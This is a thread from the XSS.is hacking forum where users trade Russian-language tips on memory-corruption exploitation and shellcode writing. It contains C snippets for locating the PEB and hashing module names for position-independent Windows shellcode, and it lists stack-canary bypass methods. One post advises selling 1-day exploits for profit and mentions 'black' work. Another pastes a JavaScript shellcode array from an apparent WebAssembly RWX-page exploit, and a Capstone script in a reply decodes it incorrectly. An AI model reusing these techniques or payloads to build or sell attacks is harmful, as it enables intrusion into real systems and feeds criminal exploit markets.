• XSS.stack #1 – первый литературный журнал от юзеров форума

[Уязвимости повреждения памяти & шеллкодинг] задай вопрос - получи ответ

wumpus

RAID-массив
Пользователь
Регистрация
07.06.2020
Сообщения
68
Реакции
48
предлагаю, по аналогии с разделом программирование и разработка, задавать короткие вопросы, связанные с эксплуатацией уязвимостей класса memory corruption, в том числе вопросы по написанию шеллкода.

сам могу подсказывать как по win32, так и по никсам. но кодить за вас ничё не буду. а то есть любители просить эксп под какой-нибудь CVE. ну или уникумы, которым нужен шеллкод "на typescript + babel.js с компиляцией в облаке воцап."

мне пока спросить особо нечего, поэтому просто напишу пару готовых ответов на вопросы, с которыми ко мне не так давно обращались. заодно будет понятно, какой формат общения я имею в виду.

q: пишу шеллкод под Win32 на Си в MSVC. получаю PEB через mov eax, fs:[0x30]. а как получить PEB на x64?
a: PPEB peb = (PPEB)__readgsqword(0x60);
после рефакторинга:
C:
#if defined(_WIN64)
  PPEB peb = (PPEB)__readgsqword(0x60);
#else
  PPEB peb = (PPEB)__readfsdword(0x30);
#endif


q: ищу модуль по хэшу. взял из инета сниппеты find_module_by_hash и ror13_hash, но в некоторых случаях не находит kernel32.dll
a: во встречающихся в сети сниппетах может отсутствовать учёт регистра символов, при том что kernel32.dll может быть подгружен как "KERNEL32.DLL", то есть имя либы в верхнем регистре.
рабочий сниппет функции с багфиксом:
C:
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
  DWORD hash = 0;
  while (unicode_string != 0 && *unicode_string != 0)
  {
    DWORD val = (DWORD)*unicode_string++;
    if (val >= 'A' && val <= 'Z') {
      val |= 0x20;
    }
    hash = (hash >> 13) | (hash << 19);
    hash += val;
  }
  return hash;
}
для поиска функций по хэшу, конечно же, уже никакой юникод не нужен, а регистр символов всегда такой, каким мы привыкли его видеть.


думаю по этим двум примерам формат понятен - без флуда и с конкретикой.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
в каких-то случаях по другому ?
Если аверы добавляют свою говнолибу.
А кернелбейс какая?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
в списке InLoadOrderModuleList первая всегда ntdll вторая всегда kernel32. в каких-то случаях по другому ?
ну 0 - твой модуль, затем ntdll, затем kernel32. может быть ньюанс, что .net запускает и тогда после ntdll будет mscoree, потом kernel32. кто-то тут писал об этом, не помню когда
 
угу, вообще нет и никогда не было гарантии, что kernel32 будет идти после ntdll.
Код:
ModLoad: 00420000 00428000   bin.exe
ModLoad: 778a0000 77a08000   ntdll.dll
ModLoad: 734e0000 73536000   C:\Windows\SysWOW64\MSCOREE.DLL
ModLoad: 76bc0000 76d00000   C:\Windows\SysWOW64\KERNEL32.dll
ModLoad: 77700000 777cf000   C:\Windows\SysWOW64\KERNELBASE.dll
ntdll можешь получать по её индексу. для всего остального используй рекурсию для поиска.
 
Приветствую
Давно волнует вопрос обхода canary. Я правильно понимаю, что основные способы обойти ее, это эксплуатация уязвимости форматной строки ( что редкость ) или утечки памяти для определения значения canary?
Был бы рад еще узнать какие-то нюансы про нее
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Приветствую
Давно волнует вопрос обхода canary. Я правильно понимаю, что основные способы обойти ее, это эксплуатация уязвимости форматной строки ( что редкость ) или утечки памяти для определения значения canary?
Был бы рад еще узнать какие-то нюансы про нее
Есть всего три способа... Новые еще не придумали - или они мне неизвестны...

1. Утечка cookie через другую уязвимость (memory leak) типа формат стринг или другую уязвимость
2. Подбор (брутфорс) cookie (на x32 проще, на x64 сложнее)
3. Подмена master cookie в PCB (Process Control Block) у потока - кука лежит в TLS процесса

Подбор cookie

Подмена master cookie

Примитив write-what-where дает возможность перезаписать .bss, в некоторых архитектурах кука лежит там

Уязвимости в heap (например heap overflow) позволяет добраться до PCB и перезаписать там master cookie
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Хочу попробовать заниматься эксплойтдевом,посмотрел видео на спбцтф,порешал какие-то простые таски,но смущает то что из года в год придумывают все более сложные митигации против мемори карапшн багов и непонятно вообще насколько этим целесообразно заниматься
Условно говоря,если я потрачу 3-4 года своей жизни и окажется что я этим даже на жизнь себе не смогу заработать,то это будет грустновато мягко говоря
Мне в целом все нравится и я получаю от этого удовольствие,но все же удовольствие на хлеб не намажешь
Короче вопрос:какое будущее у мемори карапшн багов?Если мемори карапшн умрет существуют ли автоматические способы поиска логических дыр?(фаззеры это же в основном для мемори карапшн(?))


p.s понимаю что немного оффтоп,но не знаю где еще написать
p.p.s мне 17 и просто потратить 3-4 года времени ни на что я не могу уже.Банально чем-то придется зарабатывать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
но смущает то что из года в год придумывают все более сложные митигации против мемори карапшн багов
Это нормальная ситуация, поэтому и цены такие на уязвимости и эксплойты
непонятно вообще насколько этим целесообразно заниматься
Многие уязвимости вымерли. К примеру переполнение буфера в стеке. И искать такие уязвимости глупо. Конечно они встречаются, но очень редко, надо перелопатить кучу софта. И еще не факт, что найдешь. Современная эксплуатация сосредоточена вокруг эксплуатация кучи. Тут нужно правильно выбрать таргет, где будешь искать уязвимости. Проще говоря специализация. К примеру, если ты будешь искать в винде переполнение буфера в стеке, то врядли найдешь. А если к примеру ICS/SCADA или в прошивке какого нибудь роутера\циски к примеру, то вполне сможешь найти уязвимую функцию вроде strcpy.
Мне в целом все нравится и я получаю от этого удовольствие,но все же удовольствие на хлеб не намажешь
Тут масса вариантов. К примеру можно устроиться на работу в какую нибудь контору, будешь делать анализ уязвимостей итд. Или же в к примеру в компанию, где занимаются пентестами, будешь состоять в RedTeam, ведь в отличие от простого пентеста, red team иммитируют деятельность злоумышленников, как APT. А соотвественно у них и зиродеи есть и приватные эксплойты, как бы будешь делать инструменты для взлома. Можно даже устроиться на удаленку в какую нибудь контору подобной этой https://www.exodusintel.com/careers.html. Там есть позиция на должность "N-Day Vulnerability Researcher". Но прежде, чем рваться туда тебе нужна некая репутация, портфолио. К примеру свой блог со статьями, + git где будут твои работы найденных новых уязвимостей или же к примеру твои варианты кода каких либо CVE.. Выступления на конференциях. Всё это будет плюсом. А так неизвестно кого они не возьмут.

Если говорить про блек, тут проще и меньше заморочек.
Короче вопрос:какое будущее у мемори карапшн багов?Если мемори карапшн умрет существуют ли автоматические способы поиска логических дыр?(фаззеры это же в основном для мемори карапшн(?))
Они еще долго будут жить, ты минимум еще два раза успеешь состариться и два раза прожить эту жизнь. Но в конечно итоге будут логические баги. Искать их можно через патерны, и так же фаззить, и даже через статический анализ искать. Не важно мемори корапшион или логикал багс.
p.s понимаю что немного оффтоп,но не знаю где еще написать
p.p.s мне 17 и просто потратить 3-4 года времени ни на что я не могу уже.Банально чем-то придется зарабатывать
Поиграл в CTF и хватит! Смотри, если ты ознакомился со всеми уязвимостями и знаешь, как эксплуатировать и знаешь, как обходить различные митигации ( не все, но подавляющее большиство ) начни заниматься патч-дифиингом. Потому что лучший способ после ctf'a, перейти к реальным уязвимостям это патч-диффинг. Я думаю ты знаешь, что это такое... Если нет, то суть следующая.

Нашли баг, выпустили патч. Ты делаешь анализ. Сравниваешь уязвимую версию и патченную. Таким образом находишь уязвимость. Понимаешь в чем ее суть. Анализируешь ее - эксплутабельна она или нет. Пишешь 1-day фулл эксплойт и продаешь его... Вот тебе и пятизначная сумма $$$$$. Так же тут надо понимать, что эксплойт это настоящий программный продукт. Если ты читал обзор от чек поинт, где был разбор про сплойт-девелоперов. То эти ребята, как бы на раз два эксплойты не пишут. А в год в среднем по 3-4 фулл сплойта делают.
 
Я бы такую тему не только для уязвимостей повреждения памяти сделал, а в целом по написанию эксплойтов.

А вопрос такой:
Читал недавно анализ In the wild образца эксплойта на CVE-2021-1732, там была строчка "and hooks USER32!_xxxClientAllocWindowClassExtraBytes to a custom callback function"

В статье есть фото(псевдокод):
word-image-57.png


Есть какой-нибудь PoC на С, который нечто подобное делает?
Как вообще такой хук поставить?
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Я бы такую тему не только для уязвимостей повреждения памяти сделал, а в целом по написанию эксплойтов.

А вопрос такой:
Читал недавно анализ In the wild образца эксплойта на CVE-2021-1732, там была строчка "and hooks USER32!_xxxClientAllocWindowClassExtraBytes to a custom callback function"

В статье есть фото(псевдокод):
Посмотреть вложение 20230

Есть какой-нибудь PoC на С, который нечто подобное делает?
Как вообще такой хук поставить?

Почитай для начала что такое хуки, и какие они есть. Вопросы должны отпасть.
PoC'ов в сети куча лежит особенно их много на Git.

Еще checkpoint сделал такую штуку https://cpr-zero.checkpoint.com/

Там есть более интересный скрин (PoC)

1614779131000.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
кто может подсказать чем сделать декод массива или цифры от балды сгенерированы
 
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
кто может подсказать чем сделать декод массива или цифры от балды сгенерированы

Без контекста узнать невозможно. Откуда ты достал эту хрень и куда она отправляется?
Судя по всему это JavaScript.
 
Без контекста узнать невозможно. Откуда ты достал эту хрень и куда она отправляется?
Судя по всему это JavaScript.
да js ,
отправляется в rwx_page_addr
затем вызывается wasm_instance.exports.main
 
Пожалуйста, обратите внимание, что пользователь заблокирован
кто может подсказать чем сделать декод массива или цифры от балды сгенерированы
Попробуй поиграться с capstone


Python:
from capstone import *
shellcode = b"383380914812642544136321433613643489933526445142138485974913848597441384859672192173059230712320808271488743224455369208674730810926274581091422657399106073712132846902334151307215112342290125776120795955217357047091355809096114244212312268504431457770497110375712812168858998271846413224455369338488567632380848774051034168608961356351019136811466732691227112587109725696111455724911226588299233634611321530628109630305615158062961497454657220255699313799999801096343807233677474542839513781214119935442023748464642572335291969359029335927298326352797224278428852776532969381972080783400377457869812034389651785688595230276121616749690507782677456649957"

def decode(code):
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(code, 0x1000):
        print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

decode(bytearray(shellcode))

На выходе, конечно, что-то не очень валидное. Нужен контекст.

0x1000: xor edi, dword ptr [rax]
0x1002: xor esi, dword ptr [rbx]
0x1004: cmp byte ptr [rax], dh
0x1006: cmp dword ptr [rcx], esi
0x1008: xor al, 0x38
0x100a: xor dword ptr [rdx], esi
0x100c: xor al, 0x32
0x100f: xor eax, 0x33313434
0x1014: xor esi, dword ptr ss:[rdx]
0x1017: xor dword ptr [rbx + rsi], esi
0x101a: xor esi, dword ptr [rsi]
0x101c: xor dword ptr [rbx], esi
0x101e: xor al, 0x33
0x1021: xor al, 0x38
0x1023: cmp dword ptr [rcx], edi
0x1025: xor esi, dword ptr [rbx]
0x1027: xor eax, 0x34343632
0x102c: xor eax, 0x31323431
0x1031: xor edi, dword ptr [rax]
0x1033: xor al, 0x38
0x1035: xor eax, 0x39343739
0x103a: xor dword ptr [rbx], esi
0x103c: cmp byte ptr [rax + rdi], dh
0x103f: xor eax, 0x34343739
0x1044: xor dword ptr [rbx], esi
0x1046: cmp byte ptr [rax + rdi], dh
0x1049: xor eax, 0x32373639
0x104e: xor dword ptr [rcx], edi
0x1050: xor dh, byte ptr [rcx]

 
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
кто может подсказать чем сделать декод массива или цифры от балды сгенерированы
Может оно?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ну оно, а вопрос по декоду массива есть что или так сообщения набиваешь)))))))))
Вы откройте ссылку. Там конвертер шеллкода. Возможно, это как раз то, что нужно.
 
Вы откройте ссылку. Там конвертер шеллкода. Возможно, это как раз то, что нужно.
ссылка визульна похожа была на мою выше постом, спасибо
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх